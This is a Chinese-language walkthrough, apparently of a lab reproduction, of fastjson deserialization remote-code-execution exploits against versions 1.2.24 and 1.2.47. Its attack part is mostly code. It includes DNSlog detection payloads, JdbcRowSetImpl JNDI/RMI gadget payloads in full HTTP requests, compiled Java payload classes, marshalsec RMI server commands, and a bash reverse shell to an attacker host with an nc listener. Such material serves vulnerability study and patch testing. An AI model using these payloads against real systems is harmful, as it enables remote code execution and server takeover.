fastjson是阿里巴巴的開源JSON解析庫,它可以解析JSON格式的字串,支援將Java Bean序列化為JSON字串,也可以從JSON字串反序列化到JavaBean。即fastjson的主要功能就是將Java Bean序列化成JSON字串,這樣得到字串之後就可以通過資料庫等方式進行持久化了。
根據返回包判斷
任意抓個包,提交方式改為POST,花括號不閉合。返回包在就會出現fastjson字樣。當然這個可以遮蔽!
利用DNSlog盲打
構造以下payload,利用sdnslog平臺接收。
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
1.2.67版本後payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"這裡是dnslog"}}
POST / HTTP/1.1
Host: 192.168.72.128:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 71
{"YikJiang":{"@type":"java.net.Inet4Address","val":"pesy0e.dnslog.cn"}}
Java站並且傳的資料是JSON格式的都可以嘗試
Burp外掛檢測
fastjson在解析json的過程中,支援使用autoType來範例化某一個具體的類,autoType標註了類對應的原始型別,方便在反序列化的時候定位到具體型別,fastjson在對JSON字串進行反序列化的時候,就會讀取@type
到內容,試圖把JSON內容反序列化成這個物件,並且會呼叫這個類的setter方法。並呼叫該類的set/get方法來存取屬性。通過查詢程式碼中相關的方法,即可構造出一些惡意利用鏈,造成遠端程式碼執行。
因為有了autoType功能,那麼fastjson在對JSON字串進行反序列化的時候,就會讀取@type
到內容,試圖把JSON內容反序列化成這個物件,並且會呼叫這個類的setter方法。那 麼就可以利用這個特性,自己構造一個JSON字串,並且使用@type
指定一個自己想要使用的攻擊類庫。
在fastjson中我們使用 JdbcRowSetImpl
進行反序列化的攻擊,我們給此類中的setDataSourcesName
輸入惡意內容(rmi連結),讓目標服務在反序列化的時候,請求rmi伺服器,執行rmi伺服器下發的命令,從而導致遠端命令執行漏洞
FastJson是alibaba的一款開源JSON解析庫,可用於將Java物件轉換為其JSON表示形式,也可以用於將JSON字串轉換為等效的Java物件。
fastjson的主要功能就是將Java Bean序列化成JSON字串,這樣得到字串之後就可以通過資料庫等方式進行持久化了。但是,fastjson在序列化以及反序列化的過程中並沒有使用Java自帶的序列化機制,而是自定義了一套機制。
對於JSON框架來說,想要把一個Java物件轉換成字串,可以有兩種選擇:
1、基於屬性
2、基於setter/getter
而我們所常用的JSON序列化框架中,FastJson和jackson在把物件序列化成json字串的時候,是通過遍歷出該類中的所有getter方法進行的。Gson並不是這麼做的,他是通過反射遍歷該類中的所有屬性,並把其值序列化成json。我們對java類進行序列化的時候,fastjson會自動掃描其中的get方法,將裡邊的欄位值序列化到JSON的字串中,當類包含了一個介面或者抽象了的時候,使用fastjson進行序列化的時候就會將子型別抹去,只留下介面(抽象類)的型別,反序列化的時候就無法拿到原始的型別。
但是使用SerializerFeature.WriteClassName進行標記後,JSON字串中多出了一個
因為有了autoType功能,那麼fastjson在對JSON字串進行反序列化的時候,就會讀取@type
到內容,試圖把JSON內容反序列化成這個物件,並且會呼叫這個類的setter方法。那 麼就可以利用這個特性,自己構造一個JSON字串,並且使用@type
指定一個自己想要使用的攻擊類庫。
@type
是fastjson
中的一個特殊註解,用於標識JSON
字串中的某個屬性是一個Java
物件的型別。具體來說,當fastjson
從JSON
字串反序列化為Java
物件時,如果JSON
字串中包含@type
屬性,fastjson
會根據該屬性的值來確定反序列化後的Java
物件的型別。
JNDI全稱為Java命名和目錄介面。我們可以理解為JNDI提供了兩個服務,即命名服務和目錄服務。
如果lookup引數可控的話,那麼我們就可以傳入惡意的url地址來控制受害者載入攻擊者指定的惡意類。當我們指定一個惡意的URL地址之後,受害者在獲取完這個遠端物件之後,開始呼叫惡意方法。但是在RMI中,呼叫遠端方法,最終的執行是伺服器端去執行。只是把最終的結果以序列化的形式傳遞給使用者端,也就是這裡所說的受害者。當然,如果受害者內部存在漏洞元件存在反序列化漏洞的話,我們可以構造惡意的序列化物件,返回給使用者端,當用戶端在進行反序列化的時候,可以觸發漏洞;如果目標元件不存在反序列化漏洞,我們返回一個惡意物件,但是使用者端本地沒有這個class檔案,當然也就不能成功獲取到這個物件。
RMI(Remote Method Invocation)遠端方法呼叫,是專為Java環境設計的遠端方法呼叫機制,遠端伺服器實現具體的Java方法並提供介面,使用者端本地僅需根據介面類的定義,提供相應的引數即可呼叫遠端方法。
LDAP
是輕型目錄存取協定的縮寫,是一種用於存取和維護分層目錄資訊的協定。
在fastjson中我們使用JdbcRowSetImpl
進行反序列化的攻擊,JdbcRowSetImpl
利用鏈的重點就在怎麼呼叫autoCommit
的set方法,而fastjson反序列化的特點就是會自動呼叫到類的set方法,所以會存在這個反序列化的問題。只要制定了@type
的型別,他就會自動呼叫對應的類來解析。
這樣我們就可以構造我們的利用鏈。在@type
的型別為JdbcRowSetImpl
型別的時候,JdbcRowSetImpl類就會進行範例化,那麼只要將dataSourceName
傳給lookup
方法,就可以保證能夠存取到遠端的攻擊伺服器,再使用設定autoCommit
屬性對lookup進行觸發就可以了。整個過程如下: 通過設定dataSourceName
將屬性傳參給lookup
的方法—>設定autoCommit
屬性,利用SetAutoCommit
函數觸發connect函數—>觸發connect
函數下面lookup
函數就會使用剛剛設定的dataSourceName
引數,即可通過RMI存取到遠端伺服器,從而執行惡意指令。 exploit如下:
{「@type」:」com.sun.rowset.JdbcRowSetImpl」,」dataSourceName」:」rmi://192.168.17.39:9999/Exploit」,」autoCommit」:true}
值得注意的是: 1、dataSourceName
需要放在autoCommit
的前面,因為反序列化的時候是按先後順序來set屬性的,需要先etDataSourceName
,然後再setAutoCommit
。 2、rmi的url後面跟上要獲取的我們遠端factory
類名,因為在lookup()
裡面會提取路徑下的名字作為要獲取的類。
靶機執行後,存取http://you-ip:8090 即可看到JSON格式的輸出
a.首先我們構造一個YikJiang.java命令執行荷載,上傳VPS並編譯
// javac YikJiang.java
import java.lang.Runtime;
import java.lang.Process;
public class YikJiang {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/YikJiang0916"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
b.終端進行編譯
注意要使用java1.8版本,高版本的jdk 版本把遠端呼叫修復了,因為這個搞了半天
javac .\YikJiang.java
c.編譯完成後,會發現當前目錄下生成了YikJiang.class
檔案
d.利用python啟動臨時的http服務,埠為8888
python.exe -m http.server 8888
e. 利用marshalsec
工具(需要maven環境編譯),或者使用工具marshalsec-0.0.3-SNAPSHOT-all.jar
f.生成payload
啟動RMI伺服器,監聽8888埠,並指定載入遠端類YikJiang.class
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.161:8888/#YikJiang" 777
g.修改提交模式和Content-Type
為application/json
,傳送payload
POST / HTTP/1.1 Host: 192.168.72.128:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/json Content-Length: 161{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.161:777/YikJiang",
"autoCommit":true
}
}
進入doker容器
docker exec -it 6549e687ad97 /bin/bash
fastjson 於1.2.24 版本後增加了反序列化白名單。而在2019年6月,fastjson 又被爆出在 fastjson< =1.2.47
的版本中,攻擊者可以利用特殊構造的 json 字串繞過白名單檢測,成功執行任意命令
在1.2.24版本漏洞復現中,我們利用fastjson漏洞進行了命令執行,1.2.27中,我們就嘗試反彈shell(其實原理都相同)
靶機執行後,存取http://you-ip:8090 即可看到JSON格式的輸出
a.我們構造反彈Shell
構造反彈shell的方式有很多種,這裡用Hack-Tools外掛進行構造
bash -i >& /dev/tcp/192.168.1.161/6666 0>&1
b.首先我們構造一個YikJiang.java命令執行荷載,上傳VPS並編譯
import java.lang.Runtime; import java.lang.Process;public class YikJiang {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.161/6666 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
b.終端進行編譯
注意要使用java1.8版本,高版本的jdk 版本把遠端呼叫修復了,因為這個搞了半天
javac .\YikJiang.java
c.編譯完成後,會發現當前目錄下生成了YikJiang.class
檔案
d.利用python啟動臨時的http服務,埠為8888
Python2.0
python2 -m SimpleHTTPServer 8888
Python3.0
python3 -m http.server 8888
python.exe -m http.server 8888
e. 利用marshalsec
工具(需要maven環境編譯),或者使用工具marshalsec-0.0.3-SNAPSHOT-all.jar
f.生成payload
啟動RMI伺服器,並指定載入遠端類YikJiang.class
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.161:8888/#YikJiang" 9999
g.本地開啟監聽nc -lvp 6666
h.修改提交模式和Content-Type
為application/json
,傳送payload
POST / HTTP/1.1 Host: 192.168.72.128:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/json Content-Length: 287{
"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.1.161:9999/YikJiang", "autoCommit":true
}
傳送成功後,RMI伺服器記錄了請求資訊,並且成功反彈Shell